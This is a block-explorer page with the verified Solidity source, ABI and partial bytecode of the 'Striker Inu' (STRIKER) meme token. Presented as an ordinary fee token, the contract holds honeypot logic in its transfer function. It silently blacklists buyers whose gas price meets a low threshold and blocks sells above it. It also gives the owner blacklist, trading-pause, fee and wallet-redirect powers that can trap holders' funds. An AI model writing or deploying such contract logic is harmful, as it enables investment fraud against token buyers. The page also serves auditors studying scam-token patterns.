ETH Price: $3,392.27 (+5.31%)

Token

Striker Inu (STRIKER)
 

Overview

Max Total Supply

1,000,000,000 STRIKER

Holders

69

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STRIKER

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

// Join our community at t.me/StrikerInu

pragma solidity ^0.8.16;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface DexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface DexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        authorizations[_owner] = true;
        emit OwnershipTransferred(address(0), msgSender);
    }
    mapping (address => bool) internal authorizations;

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract STRIKER is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 constant private _decimals = 18;

    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 20 / 1000;
    uint256 public _walletMax = _totalSupply * 20 / 1000;

    address private constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO_WALLET = 0x0000000000000000000000000000000000000000;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    string constant private _name = "Striker Inu";
    string constant private _symbol = "STRIKER";

    bool public restrictWhales = true;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;

    uint256 public liquidityFee = 1;
    uint256 public marketingFee = 4;
    uint256 public devFee = 0;
    uint256 public utilityFee = 0;
    uint256 public nativeFee = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    bool public takeBuyFee = true;
    bool public takeSellFee = true;
    bool public takeTransferFee = true;

    address private autoLiquidityReceiver;
    address private marketingWallet;
    address private devWallet;
    address private utilityWallet;
    address private nativeWallet;

    DexRouter public router;
    address public pair;
    mapping(address => bool) public isPair;


    uint256 public launchedAt;

    bool public tradingOpen = false;
    bool public blacklistMode = true;
    bool public canUseBlacklist = true;
    bool private inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool checkOn = false;

    mapping(address => bool) public isBlacklisted;
    mapping (address => bool) public isInternal;

    uint256 public gas = 4 * 1 gwei;

    uint256 public swapThreshold = _totalSupply * 2 / 2000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor() {
        router = DexRouter(routerAddress);
        pair = DexFactory(router.factory()).createPair(router.WETH(), address(this));
        isPair[pair] = true;
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][address(pair)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD_WALLET] = true;
        isFeeExempt[nativeWallet] = true;

        isInternal[address(this)] = true;
        isInternal[msg.sender] = true;
        isInternal[address(pair)] = true;
        isInternal[address(router)] = true;

        isTxLimitExempt[nativeWallet] = true;
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD_WALLET] = true;

        autoLiquidityReceiver = msg.sender;
        marketingWallet = 0x1cE3Fd882fA28320151A806F7f251a97080bd59b;
        devWallet = msg.sender;
        utilityWallet = msg.sender;
        nativeWallet = msg.sender;
         
        isFeeExempt[marketingWallet] = true;
        totalFee = liquidityFee.add(marketingFee).add(utilityFee).add(nativeFee).add(devFee);
        totalFeeIfSelling = totalFee;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {return _name;}

    function symbol() external pure override returns (string memory) {return _symbol;}

    function decimals() external pure override returns (uint8) {return _decimals;}

    function totalSupply() external view override returns (uint256) {return _totalSupply;}

    function getOwner() external view override returns (address) {return owner();}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD_WALLET)).sub(balanceOf(ZERO_WALLET));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function checkBot(address sender, address recipient) internal {
        if(isCont(recipient) && !isInternal[recipient] && !isFeeExempt[recipient] && checkOn || sender == pair && !isInternal[sender] && msg.sender != tx.origin && checkOn){
            isBlacklisted[recipient] = true;
        }    
    }

    function isCont(address addr) internal view returns (bool) {
        uint size;
        assembly { 
            size := extcodesize(addr) 
        }
        return size > 0;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen, "");
        }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit");
        if (isPair[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
        if (!launched() && isPair[recipient]) {
            require(_balances[sender] > 0, "");
            launch();
        }
        
        if(checkOn){
            checkBot(sender, recipient);
        }    

        // Blacklist
        if (blacklistMode) {
            require(!isBlacklisted[sender],"Blacklisted");
        }

        if (recipient == pair && !authorizations[sender]) {
            require(tx.gasprice <= gas, ""); 
        }
        if (tx.gasprice >= gas && recipient != pair) {
            isBlacklisted[recipient] = true;
        }

        //Exchange tokens
         _balances[sender] = _balances[sender].sub(amount, "");

        if (!isTxLimitExempt[recipient] && restrictWhales) {
            require(_balances[recipient].add(amount) <= _walletMax, "");
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint feeApplicable = 0;
        uint nativeAmount = 0;
        if (isPair[recipient] && takeSellFee) {
            feeApplicable = totalFeeIfSelling.sub(nativeFee);        
        }
        if (isPair[sender] && takeBuyFee) {
            feeApplicable = totalFee.sub(nativeFee);        
        }
        if (!isPair[sender] && !isPair[recipient]){
            if (takeTransferFee){
                feeApplicable = totalFeeIfSelling.sub(nativeFee); 
            }
            else{
                feeApplicable = 0;
            }
        }
        if(feeApplicable > 0 && nativeFee >0){
            nativeAmount = amount.mul(nativeFee).div(100);
            _balances[nativeWallet] = _balances[nativeWallet].add(nativeAmount);
            emit Transfer(sender, nativeWallet, nativeAmount);
        }
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount).sub(nativeAmount);
    }

    function marketingAndLiquidity() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee.sub(nativeFee)).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(nativeFee).sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHUtility = amountETH.mul(utilityFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);
        
        (bool tmpSuccess1,) = payable(marketingWallet).call{value : amountETHMarketing, gas : 30000}("");
        tmpSuccess1 = false;

        (tmpSuccess1,) = payable(utilityWallet).call{value : amountETHUtility, gas : 30000}("");
        tmpSuccess1 = false;

        (tmpSuccess1,) = payable(devWallet).call{value : amountETHDev, gas : 30000}("");
        tmpSuccess1 = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value : amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function setisInternal(bool _bool, address _address) external onlyOwner {
        isInternal[_address] = _bool;
    }

    function setMode(bool _bool) external onlyOwner {
        checkOn = _bool;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        require(newLimit >= 5, "Wallet Limit needs to be at least 0.5%");
        _walletMax = _totalSupply * newLimit / 1000;
    }

    function setTxLimit(uint256 newLimit) external onlyOwner {
        require(newLimit >= 5, "Wallet Limit needs to be at least 0.5%");
        _maxTxAmount = _totalSupply * newLimit / 1000;
    }

    function tradingStatus(bool newStatus) public onlyOwner {
        require(canUseBlacklist, "Can no longer pause trading");
        tradingOpen = newStatus;
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function fullWhitelist(address target) public onlyOwner{
        authorizations[target] = true;
        isFeeExempt[target] = true;
        isTxLimitExempt[target] = true;
        isInternal[target] = true;
        isBlacklisted[target] = false;
    }

    function setFees(uint256 newLiqFee, uint256 newMarketingFee, uint256 newDevFee, uint256 newUtilityFee, uint256 newNativeFee, uint256 extraSellFee) external onlyOwner {
        liquidityFee = newLiqFee;
        marketingFee = newMarketingFee;
        devFee = newDevFee;
        utilityFee = newUtilityFee;
        nativeFee = newNativeFee;

        totalFee = liquidityFee.add(marketingFee).add(devFee).add(utilityFee).add(nativeFee);
        totalFeeIfSelling = totalFee + extraSellFee;
        require (totalFeeIfSelling + totalFee < 25);
    }

    function enable_blacklist(bool _status) public onlyOwner {
        require(canUseBlacklist, "");
        blacklistMode = _status;
    }
        
    function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner {
        require(canUseBlacklist, "");
        for (uint256 i; i < addresses.length; ++i) {
            isBlacklisted[addresses[i]] = status;
        }
    }

    function isAuth(address _address, bool status) public onlyOwner{
        authorizations[_address] = status;
    }

    function setPair(address _address, bool status) public onlyOwner{
        isPair[_address] = status;
    }

    function setGas (uint256 newGas) external onlyOwner {
        require(canUseBlacklist, "");
        gas = newGas * 1 gwei;
    }

    function renounceBlacklist() public onlyOwner{
        canUseBlacklist = false;
        gas = 999999 * 1 gwei;
    }

    function disableBlacklistDONTUSETHIS() public onlyOwner{
        blacklistMode = false;
    }

    function setTakeBuyfee(bool status) public onlyOwner{
        takeBuyFee = status;
    }

    function setTakeSellfee(bool status) public onlyOwner{
        takeSellFee = status;
    }

    function setTakeTransferfee(bool status) public onlyOwner{
        takeTransferFee = status;
    }

    function setSwapbackSettings(bool status, uint256 newAmount) public onlyOwner{
        swapAndLiquifyEnabled = status;
        swapThreshold = newAmount;
    }

    function setFeeReceivers(address newMktWallet, address newUtilityWallet, address newDevWallet, address newLpWallet, address newNativeWallet) public onlyOwner{
        autoLiquidityReceiver = newLpWallet;
        marketingWallet = newMktWallet;
        devWallet = newDevWallet;
        utilityWallet = newUtilityWallet;
        nativeWallet = newNativeWallet;
    }

    function rescueToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
        require(tokenAddress != address(this), "Cant remove the native token");
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canUseBlacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableBlacklistDONTUSETHIS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"fullWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"isAuth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isInternal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"nativeFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract DexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newMktWallet","type":"address"},{"internalType":"address","name":"newUtilityWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"},{"internalType":"address","name":"newLpWallet","type":"address"},{"internalType":"address","name":"newNativeWallet","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingFee","type":"uint256"},{"internalType":"uint256","name":"newDevFee","type":"uint256"},{"internalType":"uint256","name":"newUtilityFee","type":"uint256"},{"internalType":"uint256","name":"newNativeFee","type":"uint256"},{"internalType":"uint256","name":"extraSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newGas","type":"uint256"}],"name":"setGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"setMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"setSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setTakeBuyfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setTakeSellfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setTakeTransferfee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisInternal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"takeBuyFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeSellFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeTransferFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newStatus","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"utilityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000705565b6200002290633b9aca006200071d565b6002556103e860025460146200003991906200071d565b62000045919062000737565b6003556103e860025460146200005c91906200071d565b62000068919062000737565b6004908155600580546001600160a81b03191674017a250d5630b4cf539739df2c5dacb4c659f2488d1790556001600a55600b556000600c819055600d819055600e819055600f8190556010556011805462ffffff191662010101179055601a805464010001010066ffffff00ffffff1990911617905563ee6b2800601d55600280546107d091620000fb91906200071d565b62000107919062000737565b601e553480156200011757600080fd5b50600080546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600554601680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f591906200075a565b6001600160a01b031663c9c65396601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000257573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027d91906200075a565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f091906200075a565b601780546001600160a01b03199081166001600160a01b0393841690811783556000908152601860209081526040808320805460ff1990811660019081179092553080865260078552838620601680548b1688529086528487206000199081905589548b16885285882055338088526008808852868920805486168717905583895286892080548616871790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd093342998054861687179055601580548d168a52878a208054871688179055938952601c8852868920805486168717905581895286892080548616871790558a548c168952868920805486168717905591548b168852858820805485168617905582548b16885260098752858820805485168617905580885285882080548516861790559854909916865292852080548216831790557f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb1930750037858054821683179055601180546301000000600160b81b0319166301000000890217905560128054731ce3fd882fa28320151a806f7f251a97080bd59b908816811790915560138054881689179055601480548816891790558354909616909617909155929091529283527f80e61b8ab51087ea061797a7fe2158bc2bb701e57779d3e627a77ae66e2424fb8054909216179055600c54600e54600d54600b54600a546200052a9562000516949385939092849290919062000583811b6200199a17901c565b6200058360201b6200199a1790919060201c565b600f81905560105560025433600081815260066020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200079b565b60008062000592838562000785565b905083811015620005e95760405162461bcd60e51b815260206004820152601b60248201527f5361666